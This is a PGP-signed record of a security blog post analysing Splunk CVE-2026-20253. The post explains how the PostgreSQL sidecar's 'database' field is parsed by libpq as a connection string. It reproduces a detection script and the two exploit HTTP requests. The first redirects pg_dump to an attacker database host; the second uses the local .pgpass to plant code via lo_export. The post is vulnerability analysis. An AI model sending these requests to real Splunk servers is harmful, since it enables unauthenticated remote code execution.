-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The advisory names authentication. The patch is the auth gate. The bug is libpq.\n\nSVD-2026-0603 reads, in full: \"In Splunk Enterprise versions below 10.2.4 and 10.0.7, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.\" The CWE is 306, Missing Authentication for Critical Function. The mitigation field reads \"None.\" Upgrade is the only listed remediation. The advisory credits Alex Hordijk (hordalex).\n\nThe watchTowr [Detection Artifact Generator](https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253) is fifty-eight lines of Python that sends one POST and reads the response code:\n\n```python\ndef dag(host, region):\n url = f\"{host}{region}/splunkd/__raw/v1/postgres/recovery/backup\"\n headers = {\"Authorization\":\"Basic ZGFnOg==\"}\n\n resp = requests.post(url, headers=headers, verify = False)\n\n if resp.status_code == 400 and 'Failed to decode' in resp.text:\n print('[+] VULNERABLE - access to /v1/postgres/recovery/backup not blocked')\n elif resp.status_code == 401:\n print('[-] NOT VULNERABLE - access to /v1/postgres/recovery/backup blocked')\n```\n\n`ZGFnOg==` is base64 for `dag:`. Empty password. The username is the scanner's own tool name (Detection Artifact Generator); any syntactically valid header would work. The detection logic is whether the response reaches the JSON parser. A 400 with body `Failed to decode` means the handler began parsing and failed because the body was empty. A 401 means an authentication layer rejected the request before it reached the handler. The patch added that layer. Until the patch shipped on 2026-06-10, no authentication check ran between the network and the handler that constructs the `pg_dump` command line.\n\nThe watchTowr writeup of the chain, [published the same week](https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/), names the command line the handler reaches and the conninfo override that walks through it. The Detection Artifact Generator deliberately stops at the 400-or-401 discriminator and ships no exploit primitive. The blog post ships the chain. The same author published both.\n\n## Splunk's command line names what was assumed.\n\nThe sidecar's backup handler invokes `pg_dump` with this argument vector:\n\n```\npg_dump -h localhost -p port --clean -v -w -U user -f backupFile -Fc database\n```\n\nThe flags fall into two groups. The hardcoded group is the developer's encoded threat model: `-h localhost` pins the connection to the loopback Postgres on `127.0.0.1:5435`, `-w` forbids interactive password prompts, `-Fc` selects the custom binary format, `--clean` and `-v` are operational. The request-supplied group is the values the developer reads as data: `-U user` carries the basic-auth username, `-f backupFile` carries the JSON `backupFile` field, and the trailing positional `database` carries the JSON `database` field.\n\nThe hardcoded `-h localhost` is the developer's source-line statement that this endpoint exists for local backups only. The loopback Postgres is configured with whatever local trust map the sidecar's bootstrap installed; the sidecar holds its own admin credentials in `/opt/splunk/var/packages/data/postgres/.pgpass`. If the basic-auth username does not match a configured Postgres role, the connection fails. If the role requires a password and `-w` forbids prompting, the connection fails. The endpoint's authentication, in the developer's mental model, is the local Postgres's authentication.\n\nThe model holds only as long as `pg_dump` honors `-h localhost`.\n\n## `dbname` is a database identifier and a connection string.\n\nThe trailing positional argument to `pg_dump` is the database to dump. PostgreSQL's [libpq connection-string documentation](https://www.postgresql.org/docs/current/libpq-connect.html) describes how it is parsed:\n\n> \"Alternatively, the `dbname` parameter can be set to either a URI or a key/value connection string... When `dbname` is set this way, the values it contains take precedence over any conflicting parameters.\"\n\nWhen the value of `dbname` contains an `=` sign, libpq does not treat it as a database name. It parses it as a key/value connection string. The keys libpq accepts include `host`, `hostaddr`, `port`, `dbname`, `user`, `password`, and `passfile`. Whatever the conninfo string sets, libpq honors. The `-h localhost` flag on the command line is one of the conflicting parameters the documentation says the conninfo string overrides.\n\nThis is documented libpq behavior, not a parser bug. The conninfo-string-in-`dbname` form has been part of libpq since the URI parsing was added in PostgreSQL 9.2, more than a decade before Splunk 10.0 shipped the sidecar. Every PostgreSQL client tool that takes a `--dbname` value inherits it. The grammar is wide because the grammar serves the legitimate use case of \"pass one connection identifier through a chain of shell wrappers without parsing it.\" That use case is the same primitive an attacker reaches for.\n\nThe handler's last positional argument receives the JSON `database` field as a byte string. The field is named `database`. libpq reads it as a connection string when it looks like one.\n\nThe implicit allowlist of values for `database` (database identifiers on the local Postgres) lives in the same source line as `-h localhost`. libpq's parser was never told about it.\n\n## The watchTowr chain runs in two requests.\n\nThe full chain combines two requests against the same endpoint family. The first request:\n\n```http\nPOST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1\nHost: target\nAuthorization: Basic dGVzdDo=\nContent-Type: application/json\n\n{\"database\":\"hostaddr=attacker.db.watchTowr.local dbname=testdb\",\"backupFile\":\"/tmp/whatever\"}\n```\n\nlibpq parses `hostaddr=attacker.db.watchTowr.local dbname=testdb` as a conninfo string. The `hostaddr` parameter overrides `-h localhost`. The handler's `pg_dump` connects to the attacker's PostgreSQL server and runs the binary-format dump protocol against it. The attacker's server returns whatever dump bytes it chooses.\n\nThe bytes the attacker returns are a `pg_dump -Fc` payload containing a `plpgsql` function that calls `lo_from_bytea` and `lo_export`. `lo_export` is the standard PostgreSQL primitive for writing the bytes of a large object to a path on the running server's filesystem, under the postgres process user. It exists for legitimate database-export workflows. It does not constrain the destination path to anything the calling process intended.\n\nThe first request ends with the attacker's dump on disk on the Splunk host, parked under whatever path `backupFile` named. Executing it requires a second request. The second request reuses the same conninfo trick to authenticate as the local Postgres admin:\n\n```http\nPOST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1\nHost: target\nAuthorization: Basic cG9zdGdyZXNfYWRtaW46\nContent-Type: application/json\n\n{\"database\":\"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass\",\"backupFile\":\"/tmp/whatever\"}\n```\n\nThe `dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass` conninfo redirects the connection to the local Postgres (`template1` is the default initial database) and supplies the password from the sidecar's own `.pgpass`. `pg_restore` authenticates as the local Postgres superuser and replays the attacker's dump, including the `plpgsql` function that calls `lo_export`. The target path is the attacker's choice. watchTowr names `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py`.\n\nSplunk's modular inputs are scripts an installed app registers in `inputs.conf` to be executed by the splunkd process, with stdout consumed as event data. Every app under `/opt/splunk/etc/apps//` can ship a `bin/` directory whose contents the app loader treats as executable code. The Secure Gateway app ships such an input pointing at `bin/ssg_enable_modular_input.py`. The app loader does not verify the script's bytes between writes and invocations; the next scheduled fire reads whatever is on disk. Replacing the file replaces the handler. The next fire executes the replacement as the `splunk` system user.\n\nThe advisory describes the impact as \"create or truncate arbitrary files.\" That description is accurate at the primitive level. It does not name which paths on the Splunk host the Splunk runtime is configured to execute. This is the unauth-write-to-execution-path shape: an unauthenticated trigger, a write into a path the server itself re-reads as code, and a contract that does not validate the destination. The auto-execution surface is Splunk's app-loader convention, not a webroot. The composition is unchanged.\n\n## The convention was never installed.\n\nThe structural shape this CVE belongs to is named in this catalog as convention-is-the-allowlist. The Splunk developer who wrote `pg_dump -h localhost ... -Fc database` understood the threat model; nobody types `-h localhost` by accident. The developer's mental model of the trailing `database` argument was \"the name of a database on the local server,\" a constrained subset of strings. The PostgreSQL convention they were reading from is that `dbname` is a database identifier. That convention is documented in the same chapter that documents the conninfo grammar. The conninfo grammar is the part that admits everything else.\n\nThe closest sibling in this catalog is [CVE-2026-44635 against Kysely](/posts/kysely-cve-2026-44635-k-extends-string-was-the-allowlist), where the parameter is typed `K extends string` and the developer reads it as \"one property name on the column.\" TypeScript's structural typing resolves the constraint to `string`, and the runtime concatenates whatever string arrives into a JSON-path expression whose grammar treats `.`, `[`, `]`, `*`, and `?` as structural. Splunk and Kysely are the same shape: a parameter whose name and surrounding documentation imply a constrained value space, fed to a parser whose grammar is wider. The fix in both cases narrows against the immediate context. Kysely wraps member keys in quoted JSON-path notation. Splunk gates the route. Neither fix touches the parser whose grammar opened the gap.\n\nThe 10.0.7 and 10.2.4 patches close the demonstrated chain by adding the authentication layer the watchTowr scanner reads as a 401. The handler's command line still reads from a request field labeled `database` and still feeds it to libpq as the trailing positional argument to `pg_dump`. An authenticated caller, post-patch, still controls the conninfo. The gate constrains the population of callers. The grammar constrains nothing it did not constrain before.\n\nSplunk's authentication was not missing. It was delegated to Postgres, on a code path where the caller picked the Postgres.\n\nPoC: [watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253](https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253)","closing_line":"The patch added the gate. The `database` field is still a connection string.","hook_md":"Splunk advisory SVD-2026-0603, published 2026-06-10, describes CVE-2026-20253 as missing authentication on the PostgreSQL sidecar's `/v1/postgres/recovery/backup` and `/restore` endpoints. The watchTowr Detection Artifact Generator decides \"patched\" by reading a 401 instead of a 400. The handler the 401 now blocks executes `pg_dump -h localhost -p port --clean -v -w -U user -f backupFile -Fc database`. The `-h localhost` flag is in the source. The trailing positional argument is the JSON body's `database` field, and PostgreSQL's libpq documentation states that connection-string parameters override conflicting command-line options. The flag is in the source. The override is in the body.","post_id":617,"slug":"splunk-cve-2026-20253-database-field-is-conninfo","title":"CVE-2026-20253: Splunk Hardcoded `-h localhost`. The `database` Field Is A libpq Connection String.","type":"initial","unreadable_sentence":"Splunk's authentication was not missing. It was delegated to Postgres, on a code path where the caller picked the Postgres."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaiy2BQAKCRDeZjl4jgkQ JoqDAP4pWkq2bMg2vSyktLA1E229kicRoiBsFcjEqcZWh1bXKgEArYr8vRPp4CYO AvmryGDu0QYWQX9KUTG/vvsbrt92Uw8= =XWAs -----END PGP SIGNATURE-----